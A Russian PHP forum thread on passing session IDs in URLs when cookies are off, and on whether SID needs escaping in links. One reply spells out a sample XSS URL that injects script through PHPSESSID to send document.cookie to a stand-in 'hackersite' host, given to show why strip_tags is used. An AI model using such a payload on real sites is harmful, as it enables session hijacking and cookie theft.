Эта тема на forum.dklab.ru


Nauly: Управление сеансами: проблема с cookies
Здравствуйте!
У меня проблема - делаю портал, авторизацию делаю с помощью встроенных сеансов пхп. Сессион_старт и потом регистрирую переменные сессии.
Если выключить кукисы - то сначала авторизует норм,но при переходе по любой ссылке в защищенной зоне выбрасывает на форму логина, как будто я только что не авторизовывался.

Мне всегда казалось, что если кукис выключены, пхп будет передавать переменные в урл... а тут нет. Что делать?

Доступа к пхп.ини нет если что :)
WingedFox:
phpinfo()
session.use_trans_sid
http://ru2.php.net/session
Nauly:
phpinfo()
session.use_trans_sid
http://ru2.php.net/session

К сожалению, в пхп.ини значение этой переменной off, и переопределять ее значение с помощью ini_set() тоже запрещено(((
Евгений Слаква:
.htaccess есть?
написать в нём
php_value session.use_trans_sid 1
или
php_flag session.use_trans_sid on

Если доступа по htaccess нету, можно или вручную добавлять SID (как в примере в мануале)
<a href="nextpage.php?<?php echo strip_tags(SID); ?>">

или при пхп > 4.3.0 пользовать output_add_rewrite_var().
Nauly:
Спасибо большое, я сам нашел инфу по хтэксесс. Все работает!
Юрий Насретдинов:
<?php echo strip_tags(SID); ?>
А может так:


<?php print "".str_replace(array("\n","\r","\t"),'',htmlentities(strip_tags((defined('SID') ? SID : ''))))./*adding empty string to ensure that output type will be string*/""; ?>


?

P.S. Достаточно <?=SID?>, раз уж на то пошло
Евгений Слаква:

А может так:

<?php print "".str_replace(array("\n","\r","\t"),'',htmlentities(strip_tags((defined('SID') ? SID : ''))))./*adding empty string to ensure that output type will be string*/""; ?>

?


Это, скорее всего, лишнее. Я привёл пример из мануала. По крайней мере, я не смог придумать примера xss-атаки, которая пролезла бы через strip_tags.

А проверять SID на defined тоже, вроде бы, не надо: на той же странице мануала написано, что если пхп вообще скомпилирован с поддержкой сессий, то SID будет присутствовать обязательно, хотя бы в виде пустой строки. Это ж всё и сделано для упрощения вставки SIDа в код.
Юрий Насретдинов:
я не смог придумать примера xss-атаки, которая пролезла бы через strip_tags
Я видимо очень глупый, и ничего не понимаю... Расскажите мне пожалуйста, как Вы собираетесь делать XSS-атаку через механизм сессий?
Евгений Слаква:
Я видимо очень глупый, и ничего не понимаю... Расскажите мне пожалуйста, как Вы собираетесь делать XSS-атаку через механизм сессий?

Насчёт xss - а какая разница, через что её делать. главное ведь - возможность вставки скрипта в генерируемый хтмл-код. Константа SID генерится из ида сессии, который приходит из урла.

Если мы печатаем SID без удаления тэгов, то можно отправить глупого пользователя на урл наподобие
http://sitetobexssed/?PHPSESSID=%3Cscript%3Elocation.href%3D%27http%3A%2F%2Fhackersite%2Fmyscript%3F%27%2Bdocument.cookie%3B%3C%2Fscript%3E.
Пхп принимает это за ид сессии, сайт это дело печатает в любой ссылке типа <a href=...?<?=SID?>>, броузер пользователя переходит по ссылке и отдаёт ей куки, стоящие у юзера на сайт sitetobexssed, в частности, реальный ID сессии, лежащий в куках. Что дальше с ним можно сделать, понятно.

Через strip_tags такое не пролезет. Всё остальное, кроме strip_tags, вроде как, лишнее, или приведите пример атаки, которая пролезет через strip_tags.
Юрий Насретдинов:
Евгений Слаква
Хм. Вообще говоря, такого быть не должно. Хотя, у меня например вообще нигде не прописывается, чтобы идентификатор сессии вставлялся, более того, я обычно специально отключаю session.trans_sid...

Эта тема на forum.dklab.ru